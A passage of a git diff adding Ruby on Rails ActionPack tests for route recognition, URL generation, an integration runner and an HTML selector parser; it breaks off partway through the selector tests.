+ assert_equal expected, default_route_set.recognize_path('/pages/show/jamis/')
+
+ expected.delete :id
+ assert_equal expected, default_route_set.recognize_path('/pages/show')
+ assert_equal expected, default_route_set.recognize_path('/pages/show/')
+
+ expected[:action] = 'index'
+ assert_equal expected, default_route_set.recognize_path('/pages/')
+ assert_equal expected, default_route_set.recognize_path('/pages')
+
+ assert_raise(ActionController::RoutingError) { default_route_set.recognize_path('/') }
+ assert_raise(ActionController::RoutingError) { default_route_set.recognize_path('/pages/how/goood/it/is/to/be/free') }
+ end
+
+ def test_default_route_should_omit_default_action
+ assert_equal '/accounts', url_for(default_route_set, { :controller => 'accounts', :action => 'index' })
+ end
+
+ def test_default_route_should_include_default_action_when_id_present
+ assert_equal '/accounts/index/20', url_for(default_route_set, { :controller => 'accounts', :action => 'index', :id => '20' })
+ end
+
+ def test_default_route_should_work_with_action_but_no_id
+ assert_equal '/accounts/list_all', url_for(default_route_set, { :controller => 'accounts', :action => 'list_all' })
+ end
+
+ def test_default_route_should_uri_escape_pluses
+ expected = { :controller => 'pages', :action => 'show', :id => 'hello world' }
+ assert_equal expected, default_route_set.recognize_path('/pages/show/hello%20world')
+ assert_equal '/pages/show/hello%20world', url_for(default_route_set, expected)
+
+ expected[:id] = 'hello+world'
+ assert_equal expected, default_route_set.recognize_path('/pages/show/hello+world')
+ assert_equal expected, default_route_set.recognize_path('/pages/show/hello%2Bworld')
+ assert_equal '/pages/show/hello+world', url_for(default_route_set, expected)
+ end
+
+ def test_build_empty_query_string
+ assert_uri_equal '/foo', url_for(default_route_set, { :controller => 'foo' })
+ end
+
+ def test_build_query_string_with_nil_value
+ assert_uri_equal '/foo', url_for(default_route_set, { :controller => 'foo', :x => nil })
+ end
+
+ def test_simple_build_query_string
+ assert_uri_equal '/foo?x=1&y=2', url_for(default_route_set, { :controller => 'foo', :x => '1', :y => '2' })
+ end
+
+ def test_convert_ints_build_query_string
+ assert_uri_equal '/foo?x=1&y=2', url_for(default_route_set, { :controller => 'foo', :x => 1, :y => 2 })
+ end
+
+ def test_escape_spaces_build_query_string
+ assert_uri_equal '/foo?x=hello+world&y=goodbye+world', url_for(default_route_set, { :controller => 'foo', :x => 'hello world', :y => 'goodbye world' })
+ end
+
+ def test_expand_array_build_query_string
+ assert_uri_equal '/foo?x%5B%5D=1&x%5B%5D=2', url_for(default_route_set, { :controller => 'foo', :x => [1, 2] })
+ end
+
+ def test_escape_spaces_build_query_string_selected_keys
+ assert_uri_equal '/foo?x=hello+world', url_for(default_route_set, { :controller => 'foo', :x => 'hello world' })
+ end
+
+ def test_generate_with_default_params
+ set.draw do
+ get 'dummy/page/:page' => 'dummy#show'
+ get 'dummy/dots/page.:page' => 'dummy#dots'
+ get 'ibocorp(/:page)' => 'ibocorp#show',
+ :constraints => { :page => /\d+/ },
+ :defaults => { :page => 1 }
+
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/ibocorp', url_for(set, { :controller => 'ibocorp', :action => "show", :page => 1 })
+ end
+
+ def test_generate_with_optional_params_recalls_last_request
+ set.draw do
+ get "blog/", :controller => "blog", :action => "index"
+
+ get "blog(/:year(/:month(/:day)))",
+ :controller => "blog",
+ :action => "show_date",
+ :constraints => { :year => /(19|20)\d\d/, :month => /[01]?\d/, :day => /[0-3]?\d/ },
+ :day => nil, :month => nil
+
+ get "blog/show/:id", :controller => "blog", :action => "show", :id => /\d+/
+ get "blog/:controller/:action(/:id)"
+ get "*anything", :controller => "blog", :action => "unknown_request"
+ end
+
+ assert_equal({:controller => "blog", :action => "index"}, set.recognize_path("/blog"))
+ assert_equal({:controller => "blog", :action => "show", :id => "123"}, set.recognize_path("/blog/show/123"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :day => nil, :month => nil }, set.recognize_path("/blog/2004"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => nil }, set.recognize_path("/blog/2004/12"))
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => "25"}, set.recognize_path("/blog/2004/12/25"))
+ assert_equal({:controller => "articles", :action => "edit", :id => "123"}, set.recognize_path("/blog/articles/edit/123"))
+ assert_equal({:controller => "articles", :action => "show_stats"}, set.recognize_path("/blog/articles/show_stats"))
+ assert_equal({:controller => "blog", :action => "unknown_request", :anything => "blog/wibble"}, set.recognize_path("/blog/wibble"))
+ assert_equal({:controller => "blog", :action => "unknown_request", :anything => "junk"}, set.recognize_path("/junk"))
+
+ last_request = set.recognize_path("/blog/2006/07/28").freeze
+ assert_equal({:controller => "blog", :action => "show_date", :year => "2006", :month => "07", :day => "28"}, last_request)
+ assert_equal("/blog/2006/07/25", url_for(set, { :day => 25 }, last_request))
+ assert_equal("/blog/2005", url_for(set, { :year => 2005 }, last_request))
+ assert_equal("/blog/show/123", url_for(set, { :action => "show" , :id => 123 }, last_request))
+ assert_equal("/blog/2006", url_for(set, { :year => 2006 }, last_request))
+ assert_equal("/blog/2006", url_for(set, { :year => 2006, :month => nil }, last_request))
+ end
+
+ private
+ def assert_uri_equal(expected, actual)
+ assert_equal(sort_query_string_params(expected), sort_query_string_params(actual))
+ end
+
+ def sort_query_string_params(uri)
+ path, qs = uri.split('?')
+ qs = qs.split('&').sort.join('&') if qs
+ qs ? "#{path}?#{qs}" : path
+ end
+end
+
+class RackMountIntegrationTests < ActiveSupport::TestCase
+ include RoutingTestHelpers
+
+ Model = Struct.new(:to_param)
+
+ Mapping = lambda {
+ namespace :admin do
+ resources :users, :posts
+ end
+
+ namespace 'api' do
+ root :to => 'users#index'
+ end
+
+ get '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
+ :constraints => {
+ :year => /(19|20)\d\d/,
+ :month => /[01]?\d/,
+ :day => /[0-3]?\d/
+ },
+ :day => nil,
+ :month => nil
+
+ get 'archive/:year', :controller => 'archive', :action => 'index',
+ :defaults => { :year => nil },
+ :constraints => { :year => /\d{4}/ },
+ :as => "blog"
+
+ resources :people
+ get 'legacy/people' => "people#index", :legacy => "true"
+
+ get 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
+ get 'id_default(/:id)' => "foo#id_default", :id => 1
+ match 'get_or_post' => "foo#get_or_post", :via => [:get, :post]
+ get 'optional/:optional' => "posts#index"
+ get 'projects/:project_id' => "project#index", :as => "project"
+ get 'clients' => "projects#index"
+
+ get 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
+ get 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
+ :postalcode => /# Postcode format
+ \d{5} #Prefix
+ (-\d{4})? #Suffix
+ /x
+ }, :as => "geocode"
+
+ get 'news(.:format)' => "news#index"
+
+ get 'comment/:id(/:action)' => "comments#show"
+ get 'ws/:controller(/:action(/:id))', :ws => true
+ get 'account(/:action)' => "account#subscription"
+ get 'pages/:page_id/:controller(/:action(/:id))'
+ get ':controller/ping', :action => 'ping'
+ get 'こんにちは/世界', :controller => 'news', :action => 'index'
+ match ':controller(/:action(/:id))(.:format)', :via => :all
+ root :to => "news#index"
+ }
+
+ def setup
+ @routes = ActionDispatch::Routing::RouteSet.new
+ @routes.draw(&Mapping)
+ end
+
+ def test_recognize_path
+ assert_equal({:controller => 'admin/users', :action => 'index'}, @routes.recognize_path('/admin/users', :method => :get))
+ assert_equal({:controller => 'admin/users', :action => 'create'}, @routes.recognize_path('/admin/users', :method => :post))
+ assert_equal({:controller => 'admin/users', :action => 'new'}, @routes.recognize_path('/admin/users/new', :method => :get))
+ assert_equal({:controller => 'admin/users', :action => 'show', :id => '1'}, @routes.recognize_path('/admin/users/1', :method => :get))
+ assert_equal({:controller => 'admin/users', :action => 'update', :id => '1'}, @routes.recognize_path('/admin/users/1', :method => :put))
+ assert_equal({:controller => 'admin/users', :action => 'destroy', :id => '1'}, @routes.recognize_path('/admin/users/1', :method => :delete))
+ assert_equal({:controller => 'admin/users', :action => 'edit', :id => '1'}, @routes.recognize_path('/admin/users/1/edit', :method => :get))
+
+ assert_equal({:controller => 'admin/posts', :action => 'index'}, @routes.recognize_path('/admin/posts', :method => :get))
+ assert_equal({:controller => 'admin/posts', :action => 'new'}, @routes.recognize_path('/admin/posts/new', :method => :get))
+
+ assert_equal({:controller => 'api/users', :action => 'index'}, @routes.recognize_path('/api', :method => :get))
+ assert_equal({:controller => 'api/users', :action => 'index'}, @routes.recognize_path('/api/', :method => :get))
+
+ assert_equal({:controller => 'posts', :action => 'show_date', :year => '2009', :month => nil, :day => nil }, @routes.recognize_path('/blog/2009', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'show_date', :year => '2009', :month => '01', :day => nil }, @routes.recognize_path('/blog/2009/01', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'show_date', :year => '2009', :month => '01', :day => '01'}, @routes.recognize_path('/blog/2009/01/01', :method => :get))
+
+ assert_equal({:controller => 'archive', :action => 'index', :year => '2010'}, @routes.recognize_path('/archive/2010'))
+ assert_equal({:controller => 'archive', :action => 'index'}, @routes.recognize_path('/archive'))
+
+ assert_equal({:controller => 'people', :action => 'index'}, @routes.recognize_path('/people', :method => :get))
+ assert_equal({:controller => 'people', :action => 'index', :format => 'xml'}, @routes.recognize_path('/people.xml', :method => :get))
+ assert_equal({:controller => 'people', :action => 'create'}, @routes.recognize_path('/people', :method => :post))
+ assert_equal({:controller => 'people', :action => 'new'}, @routes.recognize_path('/people/new', :method => :get))
+ assert_equal({:controller => 'people', :action => 'show', :id => '1'}, @routes.recognize_path('/people/1', :method => :get))
+ assert_equal({:controller => 'people', :action => 'show', :id => '1', :format => 'xml'}, @routes.recognize_path('/people/1.xml', :method => :get))
+ assert_equal({:controller => 'people', :action => 'update', :id => '1'}, @routes.recognize_path('/people/1', :method => :put))
+ assert_equal({:controller => 'people', :action => 'destroy', :id => '1'}, @routes.recognize_path('/people/1', :method => :delete))
+ assert_equal({:controller => 'people', :action => 'edit', :id => '1'}, @routes.recognize_path('/people/1/edit', :method => :get))
+ assert_equal({:controller => 'people', :action => 'edit', :id => '1', :format => 'xml'}, @routes.recognize_path('/people/1/edit.xml', :method => :get))
+
+ assert_equal({:controller => 'symbols', :action => 'show', :name => :as_symbol}, @routes.recognize_path('/symbols'))
+ assert_equal({:controller => 'foo', :action => 'id_default', :id => '1'}, @routes.recognize_path('/id_default/1'))
+ assert_equal({:controller => 'foo', :action => 'id_default', :id => '2'}, @routes.recognize_path('/id_default/2'))
+ assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
+ assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
+ assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
+ assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
+ assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+
+ assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
+ assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+
+ assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'index', :ws => true}, @routes.recognize_path('/ws/posts', :method => :get))
+
+ assert_equal({:controller => 'account', :action => 'subscription'}, @routes.recognize_path('/account', :method => :get))
+ assert_equal({:controller => 'account', :action => 'subscription'}, @routes.recognize_path('/account/subscription', :method => :get))
+ assert_equal({:controller => 'account', :action => 'billing'}, @routes.recognize_path('/account/billing', :method => :get))
+
+ assert_equal({:page_id => '1', :controller => 'notes', :action => 'index'}, @routes.recognize_path('/pages/1/notes', :method => :get))
+ assert_equal({:page_id => '1', :controller => 'notes', :action => 'list'}, @routes.recognize_path('/pages/1/notes/list', :method => :get))
+ assert_equal({:page_id => '1', :controller => 'notes', :action => 'show', :id => '2'}, @routes.recognize_path('/pages/1/notes/show/2', :method => :get))
+
+ assert_equal({:controller => 'posts', :action => 'ping'}, @routes.recognize_path('/posts/ping', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'index'}, @routes.recognize_path('/posts', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'index'}, @routes.recognize_path('/posts/index', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'show'}, @routes.recognize_path('/posts/show', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'show', :id => '1'}, @routes.recognize_path('/posts/show/1', :method => :get))
+ assert_equal({:controller => 'posts', :action => 'create'}, @routes.recognize_path('/posts/create', :method => :post))
+
+ assert_equal({:controller => 'geocode', :action => 'show', :postalcode => 'hx12-1az'}, @routes.recognize_path('/ignorecase/geocode/hx12-1az'))
+ assert_equal({:controller => 'geocode', :action => 'show', :postalcode => 'hx12-1AZ'}, @routes.recognize_path('/ignorecase/geocode/hx12-1AZ'))
+ assert_equal({:controller => 'geocode', :action => 'show', :postalcode => '12345-1234'}, @routes.recognize_path('/extended/geocode/12345-1234'))
+ assert_equal({:controller => 'geocode', :action => 'show', :postalcode => '12345'}, @routes.recognize_path('/extended/geocode/12345'))
+
+ assert_equal({:controller => 'news', :action => 'index' }, @routes.recognize_path('/', :method => :get))
+ assert_equal({:controller => 'news', :action => 'index', :format => 'rss'}, @routes.recognize_path('/news.rss', :method => :get))
+
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/none', :method => :get) }
+ end
+
+ def test_generate_extras
+ assert_equal ['/people', []], @routes.generate_extras(:controller => 'people')
+ assert_equal ['/people', [:foo]], @routes.generate_extras(:controller => 'people', :foo => 'bar')
+ assert_equal ['/people', []], @routes.generate_extras(:controller => 'people', :action => 'index')
+ assert_equal ['/people', [:foo]], @routes.generate_extras(:controller => 'people', :action => 'index', :foo => 'bar')
+ assert_equal ['/people/new', []], @routes.generate_extras(:controller => 'people', :action => 'new')
+ assert_equal ['/people/new', [:foo]], @routes.generate_extras(:controller => 'people', :action => 'new', :foo => 'bar')
+ assert_equal ['/people/1', []], @routes.generate_extras(:controller => 'people', :action => 'show', :id => '1')
+ assert_equal ['/people/1', [:bar, :foo]], sort_extras!(@routes.generate_extras(:controller => 'people', :action => 'show', :id => '1', :foo => '2', :bar => '3'))
+ assert_equal ['/people', [:person]], @routes.generate_extras(:controller => 'people', :action => 'create', :person => { :first_name => 'Josh', :last_name => 'Peek' })
+ assert_equal ['/people', [:people]], @routes.generate_extras(:controller => 'people', :action => 'create', :people => ['Josh', 'Dave'])
+
+ assert_equal ['/posts/show/1', []], @routes.generate_extras(:controller => 'posts', :action => 'show', :id => '1')
+ assert_equal ['/posts/show/1', [:bar, :foo]], sort_extras!(@routes.generate_extras(:controller => 'posts', :action => 'show', :id => '1', :foo => '2', :bar => '3'))
+ assert_equal ['/posts', []], @routes.generate_extras(:controller => 'posts', :action => 'index')
+ assert_equal ['/posts', [:foo]], @routes.generate_extras(:controller => 'posts', :action => 'index', :foo => 'bar')
+ end
+
+ def test_extras
+ params = {:controller => 'people'}
+ assert_equal [], @routes.extra_keys(params)
+ assert_equal({:controller => 'people'}, params)
+
+ params = {:controller => 'people', :foo => 'bar'}
+ assert_equal [:foo], @routes.extra_keys(params)
+ assert_equal({:controller => 'people', :foo => 'bar'}, params)
+
+ params = {:controller => 'people', :action => 'create', :person => { :name => 'Josh'}}
+ assert_equal [:person], @routes.extra_keys(params)
+ assert_equal({:controller => 'people', :action => 'create', :person => { :name => 'Josh'}}, params)
+ end
+
+ def test_unicode_path
+ assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界'), :method => :get))
+ end
+
+ private
+ def sort_extras!(extras)
+ if extras.length == 2
+ extras[1].sort! { |a, b| a.to_s <=> b.to_s }
+ end
+ extras
+ end
+
+ def assert_raise(e)
+ result = yield
+ flunk "Did not raise #{e}, but returned #{result.inspect}"
+ rescue e
+ assert true
+ end
+end
diff --git a/actionpack/test/controller/runner_test.rb b/actionpack/test/controller/runner_test.rb
new file mode 100644
index 0000000..3e9383a
--- /dev/null
+++ b/actionpack/test/controller/runner_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+require 'action_dispatch/testing/integration'
+
+module ActionDispatch
+ class RunnerTest < ActiveSupport::TestCase
+ class MyRunner
+ include Integration::Runner
+
+ def initialize(session)
+ @integration_session = session
+ end
+
+ def hi; end
+ end
+
+ def test_respond_to?
+ runner = MyRunner.new(Class.new { def x; end }.new)
+ assert runner.respond_to?(:hi)
+ assert runner.respond_to?(:x)
+ end
+ end
+end
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
new file mode 100644
index 0000000..1e80c86
--- /dev/null
+++ b/actionpack/test/controller/selector_test.rb
@@ -0,0 +1,629 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'action_view/vendor/html-scanner'
+
+class SelectorTest < ActiveSupport::TestCase
+ #
+ # Basic selector: element, id, class, attributes.
+ #
+
+ def test_element
+ parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
+ # Match element by name.
+ select("div")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ # Not case sensitive.
+ select("DIV")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ # Universal match (all elements).
+ select("*")
+ assert_equal 3, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal nil, @matches[1].attributes["id"]
+ assert_equal "2", @matches[2].attributes["id"]
+ end
+
+
+ def test_identifier
+ parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
+ # Match element by ID.
+ select("div#1")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ # Match element by ID, substitute value.
+ select("div#?", 2)
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Element name does not match ID.
+ select("p#?", 2)
+ assert_equal 0, @matches.size
+ # Use regular expression.
+ select("#?", /\d/)
+ assert_equal 2, @matches.size
+ end
+
+
+ def test_class_name
+ parse(%Q{<div id="1" class=" foo "></div><p id="2" class=" foo bar "></p><div id="3" class="bar"></div>})
+ # Match element with specified class.
+ select("div.foo")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ # Match any element with specified class.
+ select("*.foo")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ # Match elements with other class.
+ select("*.bar")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # Match only element with both class names.
+ select("*.bar.foo")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ end
+
+
+ def test_attribute
+ parse(%Q{<div id="1"></div><p id="2" title="" bar="foo"></p><div id="3" title="foo"></div>})
+ # Match element with attribute.
+ select("div[title]")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ # Match any element with attribute.
+ select("*[title]")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # Match element with attribute value.
+ select("*[title=foo]")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ # Match element with attribute and attribute value.
+ select("[bar=foo][title]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Not case sensitive.
+ select("[BAR=foo][TiTle]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ end
+
+
+ def test_attribute_quoted
+ parse(%Q{<div id="1" title="foo"></div><div id="2" title="bar"></div><div id="3" title=" bar "></div>})
+ # Match without quotes.
+ select("[title = bar]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Match with single quotes.
+ select("[title = 'bar' ]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Match with double quotes.
+ select("[title = \"bar\" ]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Match with spaces.
+ select("[title = \" bar \" ]")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ end
+
+
+ def test_attribute_equality
+ parse(%Q{<div id="1" title="foo bar"></div><div id="2" title="barbaz"></div>})
+ # Match (fail) complete value.
+ select("[title=bar]")
+ assert_equal 0, @matches.size
+ # Match space-separate word.
+ select("[title~=foo]")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ select("[title~=bar]")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ # Match beginning of value.
+ select("[title^=ba]")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Match end of value.
+ select("[title$=ar]")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ # Match text in value.
+ select("[title*=bar]")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ # Match first space separated word.
+ select("[title|=foo]")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ select("[title|=bar]")
+ assert_equal 0, @matches.size
+ end
+
+
+ #
+ # Selector composition: groups, sibling, children
+ #
+
+
+ def test_selector_group
+ parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
+ # Simple group selector.
+ select("h1,h3")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ select("h1 , h3")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # Complex group selector.
+ parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
+ select("h1 a, h3 a")
+ assert_equal 2, @matches.size
+ assert_equal "foo", @matches[0].attributes["href"]
+ assert_equal "baz", @matches[1].attributes["href"]
+ # And now for the three selector challenge.
+ parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
+ select("h1 a, h2 a, h3 a")
+ assert_equal 3, @matches.size
+ assert_equal "foo", @matches[0].attributes["href"]
+ assert_equal "bar", @matches[1].attributes["href"]
+ assert_equal "baz", @matches[2].attributes["href"]
+ end
+
+
+ def test_sibling_selector
+ parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
+ # Test next sibling.
+ select("h1+*")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ select("h1+h2")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ select("h1+h3")
+ assert_equal 0, @matches.size
+ select("*+h3")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ # Test any sibling.
+ select("h1~*")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ select("h2~*")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ end
+
+
+ def test_children_selector
+ parse(%Q{<div><p id="1"><span id="2"></span></p></div><div><p id="3"><span id="4" class="foo"></span></p></div>})
+ # Test child selector.
+ select("div>p")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ select("div>span")
+ assert_equal 0, @matches.size
+ select("div>p#3")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ select("div>p>span")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ # Test descendant selector.
+ select("div p")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ select("div span")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ select("div *#3")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ select("div *#4")
+ assert_equal 1, @matches.size
+ assert_equal "4", @matches[0].attributes["id"]
+ # This is here because it failed before when whitespaces
+ # were not properly stripped.
+ select("div .foo")
+ assert_equal 1, @matches.size
+ assert_equal "4", @matches[0].attributes["id"]
+ end
+
+
+ #
+ # Pseudo selectors: root, nth-child, empty, content, etc
+ #
+
+
+ def test_root_selector
+ parse(%Q{<div id="1"><div id="2"></div></div>})
+ # Can only find element if it's root.
+ select(":root")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ select("#1:root")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ select("#2:root")
+ assert_equal 0, @matches.size
+ # Opposite for nth-child.
+ select("#1:nth-child(1)")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_nth_child_odd_even
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Test odd nth children.
+ select("tr:nth-child(odd)")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # Test even nth children.
+ select("tr:nth-child(even)")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ end
+
+
+ def test_nth_child_a_is_zero
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Test the third child.
+ select("tr:nth-child(0n+3)")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ # Same but an can be omitted when zero.
+ select("tr:nth-child(3)")
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ # Second element (but not every second element).
+ select("tr:nth-child(0n+2)")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Before first and past last returns nothing.:
+ assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
+ select("tr:nth-child(0)")
+ assert_equal 0, @matches.size
+ select("tr:nth-child(5)")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_nth_child_a_is_one
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # a is group of one, pick every element in group.
+ select("tr:nth-child(1n+0)")
+ assert_equal 4, @matches.size
+ # Same but a can be omitted when one.
+ select("tr:nth-child(n+0)")
+ assert_equal 4, @matches.size
+ # Same but b can be omitted when zero.
+ select("tr:nth-child(n)")
+ assert_equal 4, @matches.size
+ end
+
+
+ def test_nth_child_b_is_zero
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # If b is zero, pick the n-th element (here each one).
+ select("tr:nth-child(n+0)")
+ assert_equal 4, @matches.size
+ # If b is zero, pick the n-th element (here every second).
+ select("tr:nth-child(2n+0)")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # If a and b are both zero, no element selected.
+ select("tr:nth-child(0n+0)")
+ assert_equal 0, @matches.size
+ select("tr:nth-child(0)")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_nth_child_a_is_negative
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Since a is -1, picks the first three elements.
+ select("tr:nth-child(-n+3)")
+ assert_equal 3, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ assert_equal "3", @matches[2].attributes["id"]
+ # Since a is -2, picks the first in every second of first four elements.
+ select("tr:nth-child(-2n+3)")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ # Since a is -2, picks the first in every second of first three elements.
+ select("tr:nth-child(-2n+2)")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ end
+
+
+ def test_nth_child_b_is_negative
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Select last of four.
+ select("tr:nth-child(4n-1)")
+ assert_equal 1, @matches.size
+ assert_equal "4", @matches[0].attributes["id"]
+ # Select first of four.
+ select("tr:nth-child(4n-4)")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ # Select last of every second.
+ select("tr:nth-child(2n-1)")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ # Select nothing since an+b always < 0
+ select("tr:nth-child(-1n-1)")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_nth_child_substitution_values
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Test with ?n?.
+ select("tr:nth-child(?n?)", 2, 1)
+ assert_equal 2, @matches.size
